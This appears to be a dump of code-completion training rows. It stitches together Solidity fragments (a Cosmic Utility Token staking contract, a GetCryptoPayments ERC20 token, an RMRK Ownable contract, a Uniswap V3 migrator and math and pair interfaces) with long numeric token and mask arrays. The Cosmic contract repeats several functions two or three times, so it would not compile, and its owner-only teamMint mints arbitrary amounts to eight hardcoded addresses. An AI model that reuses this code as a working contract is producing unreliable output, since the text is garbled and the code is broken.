constructor(address CLABS, address CUT) ERC20I("Cosmic Utility Token", "CUT")
{
cosmicLabs = CosmicLabs(CLABS);
cosmicToken = CosmicToken(CUT);
}
function setFusionContract(address fusionContract) public onlyOwner
{
cosmicFusion = CosmicFusion(fusionContract);
}
function setCosmicLabsContract(address clabsContract) public onlyOwner
{
cosmicLabs = CosmicLabs(clabsContract);
}
function changeGenesis_Rate(uint256 _incoming) public onlyOwner
{
GENESIS_RATE = _incoming;
}
function changeFusion_Rate(uint256 _incoming) public onlyOwner
{
FUSION_RATE = _incoming;
}
function teamMint(uint256 totalAmount) public onlyOwner stakingEnded
{
_mint(msg.sender, (totalAmount * 10 ** 18));
_mint(0xcD6a42782d230D7c13A74ddec5dD140e55499Df9, (totalAmount * 10 ** 18));
_mint(0x28dD793B34202eeaEe7D8e1Bb74b812641a503e0, (totalAmount * 10 ** 18));
_mint(0xe7D6f9bE83443BE2527f64bE07639776Fd422e1E, (totalAmount * 10 ** 18));
_mint(0x7b977283DE834A7e82d4f4F81bD8cc9267960459, (totalAmount * 10 ** 18));
_mint(0x5d8026cdC76A5731820B41963059249dfb131C65, (totalAmount * 10 ** 18));
_mint(0xd9bC4a4057eD82f58b0ABECDbe3cCaF8e81aF44A, (totalAmount * 10 ** 18));
_mint(0x83e02c9f0ec019f75d3B7E6Ac193109c9e7224EA, (totalAmount * 10 ** 18));
}
modifier hasMigrated
{
require(firstClaim[msg.sender] == false);
_;
}
modifier stakingEnded
{
require(block.timestamp < endTimeFusion);
_;
}
function migrateCut() public nonReentrant hasMigrated stakingEnded
{
uint256 howManyTokens = cosmicToken.balanceOf(msg.sender);
uint256 extraCommision = (howManyTokens * 10) / 100;
cosmicToken.transferFrom(msg.sender, address(this), howManyTokens);
firstClaim[msg.sender] = true;
_mint(msg.sender, (howManyTokens + extraCommision));
}
function claimRewards(uint256[] memory nftsToClaim) public nonReentrant stakingEnded
{
for(uint256 i=0;i<nftsToClaim.length;i++)
{
require(cosmicLabs.ownerOf(nftsToClaim[i]) == msg.sender, "You are not the owner of these tokens");
}
_mint(msg.sender, tokensAccumulated(nftsToClaim));
for(uint256 i=0; i<nftsToClaim.length;i++)
{
tokenIdEarned[nftsToClaim[i]] = block.timestamp;
}
}
function claimRewards(uint256[] memory nftsToClaim) public nonReentrant stakingEnded
{
for(uint256 i=0;i<nftsToClaim.length;i++)
{
require(cosmicLabs.ownerOf(nftsToClaim[i]) == msg.sender, "You are not the owner of these tokens");
}
_mint(msg.sender, tokensAccumulated(nftsToClaim));
for(uint256 i=0; i<nftsToClaim.length;i++)
{
tokenIdEarned[nftsToClaim[i]] = block.timestamp;
}
}
function claimRewards(uint256[] memory nftsToClaim) public nonReentrant stakingEnded
{
for(uint256 i=0;i<nftsToClaim.length;i++)
{
require(cosmicLabs.ownerOf(nftsToClaim[i]) == msg.sender, "You are not the owner of these tokens");
}
_mint(msg.sender, tokensAccumulated(nftsToClaim));
for(uint256 i=0; i<nftsToClaim.length;i++)
{
tokenIdEarned[nftsToClaim[i]] = block.timestamp;
}
}
function tokensAccumulated(uint256[] memory nftsToCheck) public view returns(uint256)
{
uint256 totalTokensEarned;
for(uint256 i=0; i<nftsToCheck.length;i++)
{
if(nftsToCheck[i] <= 1000)
{
totalTokensEarned += (howManyMinStaked(nftsToCheck[i]) * GENESIS_RATE);
}
}
return totalTokensEarned;
}
function tokensAccumulated(uint256[] memory nftsToCheck) public view returns(uint256)
{
uint256 totalTokensEarned;
for(uint256 i=0; i<nftsToCheck.length;i++)
{
if(nftsToCheck[i] <= 1000)
{
totalTokensEarned += (howManyMinStaked(nftsToCheck[i]) * GENESIS_RATE);
}
}
return totalTokensEarned;
}
function tokensAccumulated(uint256[] memory nftsToCheck) public view returns(uint256)
{
uint256 totalTokensEarned;
for(uint256 i=0; i<nftsToCheck.length;i++)
{
if(nftsToCheck[i] <= 1000)
{
totalTokensEarned += (howManyMinStaked(nftsToCheck[i]) * GENESIS_RATE);
}
}
return totalTokensEarned;
}
function howManyMinStaked(uint256 tokenId) public view returns(uint256)
{
uint256 timeCalc;
if(tokenIdEarned[tokenId] == 0)
{
timeCalc = block.timestamp - startTime;
}
else
{
timeCalc = block.timestamp - tokenIdEarned[tokenId];
}
uint256 returnMins = timeCalc / 60;
return returnMins;
}
function howManyMinStaked(uint256 tokenId) public view returns(uint256)
{
uint256 timeCalc;
if(tokenIdEarned[tokenId] == 0)
{
timeCalc = block.timestamp - startTime;
}
else
{
timeCalc = block.timestamp - tokenIdEarned[tokenId];
}
uint256 returnMins = timeCalc / 60;
return returnMins;
}
function howManyMinStaked(uint256 tokenId) public view returns(uint256)
{
uint256 timeCalc;
if(tokenIdEarned[tokenId] == 0)
{
timeCalc = block.timestamp - startTime;
}
else
{
timeCalc = block.timestamp - tokenIdEarned[tokenId];
}
uint256 returnMins = timeCalc / 60;
return returnMins;
}
function getPendingTokensFusion(uint256 tokenId_) public view returns (uint256) {
uint256 _timestamp = fusionToTimestamp[tokenId_] == 0 ?
startTime : fusionToTimestamp[tokenId_] > endTimeFusion ?
endTimeFusion : fusionToTimestamp[tokenId_];
uint256 _currentTimeOrEnd = block.timestamp > endTimeFusion ?
endTimeFusion : block.timestamp;
uint256 _timeElapsed = _currentTimeOrEnd - _timestamp;
return (_timeElapsed * FUSION_RATE) / 1 days;
}
function getPendingTokensManyFusion(uint256[] memory tokenIds_) public view
returns (uint256) {
uint256 _pendingTokens;
for (uint256 i = 0; i < tokenIds_.length; i++) {
_pendingTokens += getPendingTokensFusion(tokenIds_[i]);
}
return _pendingTokens;
}
function getPendingTokensManyFusion(uint256[] memory tokenIds_) public view
returns (uint256) {
uint256 _pendingTokens;
for (uint256 i = 0; i < tokenIds_.length; i++) {
_pendingTokens += getPendingTokensFusion(tokenIds_[i]);
}
return _pendingTokens;
}
function claimFusion(address to_, uint256[] memory tokenIds_) external {
require(tokenIds_.length > 0,
"You must claim at least 1 Fusion!");
uint256 _pendingTokens = tokenIds_.length > 1 ?
getPendingTokensManyFusion(tokenIds_) :
getPendingTokensFusion(tokenIds_[0]);
for (uint256 i = 0; i < tokenIds_.length; i++) {
require(to_ == cosmicFusion.fusionIndexToAddress(tokenIds_[i]),
"claim(): to_ is not owner of Cosmic Fusion!");
fusionToTimestamp[tokenIds_[i]] = block.timestamp;
}
_mint(to_, _pendingTokens);
}
function claimFusion(address to_, uint256[] memory tokenIds_) external {
require(tokenIds_.length > 0,
"You must claim at least 1 Fusion!");
uint256 _pendingTokens = tokenIds_.length > 1 ?
getPendingTokensManyFusion(tokenIds_) :
getPendingTokensFusion(tokenIds_[0]);
for (uint256 i = 0; i < tokenIds_.length; i++) {
require(to_ == cosmicFusion.fusionIndexToAddress(tokenIds_[i]),
"claim(): to_ is not owner of Cosmic Fusion!");
fusionToTimestamp[tokenIds_[i]] = block.timestamp;
}
_mint(to_, _pendingTokens);
}
function getPendingTokensOfAddress(address address_) public view returns (uint256) {
uint256[] memory _tokensOfAddress = cosmicFusion.walletOfOwner(address_);
return getPendingTokensManyFusion(_tokensOfAddress);
}
function burn(address _from, uint256 _amount) external
{
require(msg.sender == _from, "You do not own these tokens");
_burn(_from, _amount);
totalTokensBurned += _amount;
}
function burnFrom(address _from, uint256 _amount) public override
{
ERC20I.burnFrom(_from, _amount);
}
}
| 10,650,744 | [
1,
15163,
5782,
70,
11201,
26599,
22,
15331,
30,
713,
30,
713,
21706,
15,
2787,
202,
15163,
5782,
70,
11201,
4200,
2947,
15331,
30,
713,
30,
713,
21706,
15,
2787,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
385,
538,
27593,
6497,
1345,
353,
4232,
39,
3462,
45,
16,
14223,
6914,
16,
868,
8230,
12514,
16709,
288,
203,
203,
203,
565,
2874,
261,
11890,
5034,
516,
2254,
5034,
13,
1071,
1147,
548,
41,
1303,
329,
31,
203,
565,
2874,
261,
11890,
5034,
516,
2254,
5034,
13,
1071,
25944,
41,
1303,
329,
31,
203,
203,
565,
2254,
5034,
1071,
611,
1157,
41,
15664,
67,
24062,
273,
374,
18,
3103,
4700,
4700,
4700,
14509,
225,
2437,
31,
203,
565,
2254,
5034,
1071,
478,
3378,
1146,
67,
24062,
273,
2593,
225,
2437,
31,
203,
203,
565,
2254,
5034,
1071,
8657,
273,
404,
1105,
2539,
7677,
3784,
31,
203,
203,
565,
2254,
5034,
1071,
5381,
13859,
42,
7063,
273,
404,
5608,
3103,
713,
16010,
31,
203,
377,
203,
565,
2254,
5034,
1071,
2078,
5157,
38,
321,
329,
273,
374,
31,
203,
203,
565,
2874,
261,
2867,
516,
1426,
13,
1071,
1122,
9762,
31,
203,
203,
565,
2874,
12,
11890,
5034,
516,
2254,
5034,
13,
1071,
25944,
774,
4921,
31,
203,
203,
565,
385,
538,
27593,
48,
5113,
1071,
4987,
27593,
48,
5113,
31,
203,
565,
385,
538,
27593,
1345,
1071,
4987,
27593,
1345,
31,
203,
565,
385,
538,
27593,
42,
7063,
1071,
4987,
27593,
42,
7063,
31,
203,
203,
565,
3885,
12,
2867,
14934,
2090,
55,
16,
1758,
385,
1693,
13,
4232,
39,
3462,
45,
2932,
39,
538,
27593,
13134,
3155,
3113,
315,
39,
1693,
7923,
203,
203,
565,
288,
203,
3639,
4987,
27593,
48,
5113,
273,
385,
538,
27593,
48,
5113,
12,
5017,
2090,
2
] |
pragma solidity >=0.4.22 <0.6.0;
/* GetCryptoPayments 'GCPS (ERC20)' contract Version 2.0
*This GCPS token (ERC20) will be used as a means of payment
on our GetCryptoPayments platform.
*Refer to our Official Sites and Community:
*https://www.GetCryptoPayments.org/
*https://twitter.com/GCryptoPayments
*https://facebook.com/GetCryptoPayments
*https://t.me/GetCryptoPayments
*We are looking for Partnership:
*https://www.getcryptopayments.org/en/contact/
*
*Developer: GetCryptoPayments.org
*
*/
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract GetCryptoPayments {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
// uint256 initialSupply,
//string memory tokenName,
//string memory tokenSymbol
) public {
totalSupply = 150000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "GetCryptoPayments"; // Set the name for display purposes
symbol = "GCPS"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | Update total supply with the decimal amount
| totalSupply = 150000000 * 10 ** uint256(decimals); | 1,430,759 | [
1,
1891,
2078,
14467,
598,
326,
6970,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2078,
3088,
1283,
273,
4711,
17877,
380,
1728,
2826,
2254,
5034,
12,
31734,
1769,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x3c1164531d5857029ae5412E49999306547834d8/sources/@rmrk-team/evm-contracts/contracts/RMRK/access/Ownable.sol | * @title Ownable @author RMRK team @notice A minimal ownable smart contractf or owner and contributors. @dev This smart contract is based on "openzeppelin's access/Ownable.sol"./ | contract Ownable is Context {
address private _owner;
mapping(address => uint256) private _contributors;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event ContributorUpdate(address indexed contributor, bool isContributor);
modifier onlyOwnerOrContributor() {
_onlyOwnerOrContributor();
_;
}
modifier onlyOwner() {
_onlyOwner();
_;
}
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) revert RMRKNewOwnerIsZeroAddress();
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function manageContributor(
address contributor,
bool grantRole
) external onlyOwner {
if (contributor == address(0)) revert RMRKNewContributorIsZeroAddress();
grantRole
? _contributors[contributor] = 1
: _contributors[contributor] = 0;
emit ContributorUpdate(contributor, grantRole);
}
function isContributor(address contributor) public view returns (bool) {
return _contributors[contributor] == 1;
}
function _onlyOwnerOrContributor() private view {
if (owner() != _msgSender() && !isContributor(_msgSender()))
revert RMRKNotOwnerOrContributor();
}
function _onlyOwner() private view {
if (owner() != _msgSender()) revert RMRKNotOwner();
}
}
| 9,657,633 | [
1,
5460,
429,
225,
534,
23464,
47,
5927,
225,
432,
16745,
4953,
429,
13706,
6835,
74,
578,
3410,
471,
13608,
13595,
18,
225,
1220,
13706,
6835,
353,
2511,
603,
315,
3190,
94,
881,
84,
292,
267,
1807,
2006,
19,
5460,
429,
18,
18281,
9654,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
14223,
6914,
353,
1772,
288,
203,
565,
1758,
3238,
389,
8443,
31,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
26930,
13595,
31,
203,
203,
565,
871,
14223,
9646,
5310,
1429,
4193,
12,
203,
3639,
1758,
8808,
2416,
5541,
16,
203,
3639,
1758,
8808,
394,
5541,
203,
565,
11272,
203,
203,
565,
871,
735,
19293,
1891,
12,
2867,
8808,
31123,
16,
1426,
353,
442,
19293,
1769,
203,
203,
203,
565,
9606,
1338,
5541,
1162,
442,
19293,
1435,
288,
203,
3639,
389,
3700,
5541,
1162,
442,
19293,
5621,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
9606,
1338,
5541,
1435,
288,
203,
3639,
389,
3700,
5541,
5621,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
3885,
1435,
288,
203,
3639,
389,
13866,
5460,
12565,
24899,
3576,
12021,
10663,
203,
565,
289,
203,
203,
565,
445,
3410,
1435,
1071,
1476,
5024,
1135,
261,
2867,
13,
288,
203,
3639,
327,
389,
8443,
31,
203,
565,
289,
203,
203,
565,
445,
1654,
8386,
5460,
12565,
1435,
1071,
5024,
1338,
5541,
288,
203,
3639,
389,
13866,
5460,
12565,
12,
2867,
12,
20,
10019,
203,
565,
289,
203,
203,
565,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1071,
5024,
1338,
5541,
288,
203,
3639,
309,
261,
2704,
5541,
422,
1758,
12,
20,
3719,
15226,
534,
23464,
47,
1908,
5541,
2520,
7170,
1887,
5621,
203,
3639,
389,
13866,
5460,
12565,
12,
2704,
5541,
1769,
203,
565,
289,
203,
203,
565,
445,
389,
13866,
5460,
12565,
12,
2867,
394,
5541,
13,
2713,
2
] |
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma abicoder v2;
import '@uniswap/v3-core/contracts/libraries/LowGasSafeMath.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import './interfaces/INonfungiblePositionManager.sol';
import './libraries/TransferHelper.sol';
import './interfaces/IV3Migrator.sol';
import './base/PeripheryImmutableState.sol';
import './base/Multicall.sol';
import './base/SelfPermit.sol';
import './interfaces/external/IWETH9.sol';
import './base/PoolInitializer.sol';
/// @title Uniswap V3 Migrator
contract V3Migrator is IV3Migrator, PeripheryImmutableState, PoolInitializer, Multicall, SelfPermit {
using LowGasSafeMath for uint256;
address public immutable nonfungiblePositionManager;
constructor(
address _factory,
address _WETH9,
address _nonfungiblePositionManager
) PeripheryImmutableState(_factory, _WETH9) {
nonfungiblePositionManager = _nonfungiblePositionManager;
}
receive() external payable {
require(msg.sender == WETH9, 'Not WETH9');
}
function migrate(MigrateParams calldata params) external override {
require(params.percentageToMigrate > 0, 'Percentage too small');
require(params.percentageToMigrate <= 100, 'Percentage too large');
// burn v2 liquidity to this address
IUniswapV2Pair(params.pair).transferFrom(msg.sender, params.pair, params.liquidityToMigrate);
(uint256 amount0V2, uint256 amount1V2) = IUniswapV2Pair(params.pair).burn(address(this));
// calculate the amounts to migrate to v3
uint256 amount0V2ToMigrate = amount0V2.mul(params.percentageToMigrate) / 100;
uint256 amount1V2ToMigrate = amount1V2.mul(params.percentageToMigrate) / 100;
// approve the position manager up to the maximum token amounts
TransferHelper.safeApprove(params.token0, nonfungiblePositionManager, amount0V2ToMigrate);
TransferHelper.safeApprove(params.token1, nonfungiblePositionManager, amount1V2ToMigrate);
// mint v3 position
(, , uint256 amount0V3, uint256 amount1V3) =
INonfungiblePositionManager(nonfungiblePositionManager).mint(
INonfungiblePositionManager.MintParams({
token0: params.token0,
token1: params.token1,
fee: params.fee,
tickLower: params.tickLower,
tickUpper: params.tickUpper,
amount0Desired: amount0V2ToMigrate,
amount1Desired: amount1V2ToMigrate,
amount0Min: params.amount0Min,
amount1Min: params.amount1Min,
recipient: params.recipient,
deadline: params.deadline
})
);
// if necessary, clear allowance and refund dust
if (amount0V3 < amount0V2) {
if (amount0V3 < amount0V2ToMigrate) {
TransferHelper.safeApprove(params.token0, nonfungiblePositionManager, 0);
}
uint256 refund0 = amount0V2 - amount0V3;
if (params.refundAsETH && params.token0 == WETH9) {
IWETH9(WETH9).withdraw(refund0);
TransferHelper.safeTransferETH(msg.sender, refund0);
} else {
TransferHelper.safeTransfer(params.token0, msg.sender, refund0);
}
}
if (amount1V3 < amount1V2) {
if (amount1V3 < amount1V2ToMigrate) {
TransferHelper.safeApprove(params.token1, nonfungiblePositionManager, 0);
}
uint256 refund1 = amount1V2 - amount1V3;
if (params.refundAsETH && params.token1 == WETH9) {
IWETH9(WETH9).withdraw(refund1);
TransferHelper.safeTransferETH(msg.sender, refund1);
} else {
TransferHelper.safeTransfer(params.token1, msg.sender, refund1);
}
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.0;
/// @title Optimized overflow and underflow safe math operations
/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
